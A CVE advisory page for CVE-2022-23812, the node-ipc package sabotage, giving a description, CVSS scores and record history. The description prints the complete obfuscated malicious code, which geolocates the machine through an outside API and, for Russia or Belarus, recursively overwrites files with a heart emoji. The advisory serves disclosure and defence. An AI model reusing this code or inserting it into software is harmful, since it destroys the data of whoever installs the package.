CVE-2022-23812

CVSS V2 High 10 CVSS V3 Critical 9.8
Description
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ?? } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };
Overview
  • CVE ID
  • CVE-2022-23812
  • Assigner
  • report@snyk.io
  • Vulnerability Status
  • Analyzed
  • Published Version
  • 2022-03-16T16:15:10
  • Last Modified Date
  • 2023-03-04T01:37:10
CPE Configuration (Product)
CPE Vulnerable Operator Version Start Version End
cpe:2.3:a:node-ipic_project:node-ipic:*:*:*:*:*:node.js:*:* 1 OR 10.1.1 10.1.3
cpe:2.3:a:node-ipic_project:node-ipic:*:*:*:*:*:node.js:*:* 1 OR 11.0.0
CVSS Version 2
  • Version
  • 2.0
  • Vector String
  • AV:N/AC:L/Au:N/C:C/I:C/A:C
  • Access Vector
  • NETWORK
  • Access Compatibility
  • LOW
  • Authentication
  • NONE
  • Confidentiality Impact
  • COMPLETE
  • Integrity Impact
  • COMPLETE
  • Availability Impact
  • COMPLETE
  • Base Score
  • 10
  • Severity
  • HIGH
  • Exploitability Score
  • 10
  • Impact Score
  • 10
CVSS Version 3
  • Version
  • 3.1
  • Vector String
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector
  • NETWORK
  • Attack Compatibility
  • LOW
  • Privileges Required
  • NONE
  • User Interaction
  • NONE
  • Scope
  • UNCHANGED
  • Confidentiality Impact
  • HIGH
  • Availability Impact
  • HIGH
  • Base Score
  • 9.8
  • Base Severity
  • CRITICAL
  • Exploitability Score
  • 3.9
  • Impact Score
  • 5.9
History
Created Old Value New Value Data Type Notes
2022-04-04 00:41:34 Added to TrackCVE
2022-12-06 12:38:53 2022-03-16T16:15Z 2022-03-16T16:15:10 CVE Published Date updated
2022-12-06 12:38:53 2022-09-09T14:30:48 CVE Modified Date updated
2022-12-06 12:38:53 Analyzed Vulnerability Status updated
2022-12-06 12:38:58 References updated
2023-01-25 02:12:25 2023-01-25T01:59:23 CVE Modified Date updated
2023-01-25 02:12:25 Analyzed Modified Vulnerability Status updated
2023-01-26 13:13:27 Modified Undergoing Analysis Vulnerability Status updated
2023-03-01 19:12:37 2023-03-01T19:00:21 CVE Modified Date updated
2023-03-01 19:12:37 Undergoing Analysis Analyzed Vulnerability Status updated
2023-03-03 15:14:16 Analyzed Undergoing Analysis Vulnerability Status updated
2023-03-04 02:13:39 2023-03-04T01:37:10 CVE Modified Date updated
2023-03-04 02:13:39 Undergoing Analysis Analyzed Vulnerability Status updated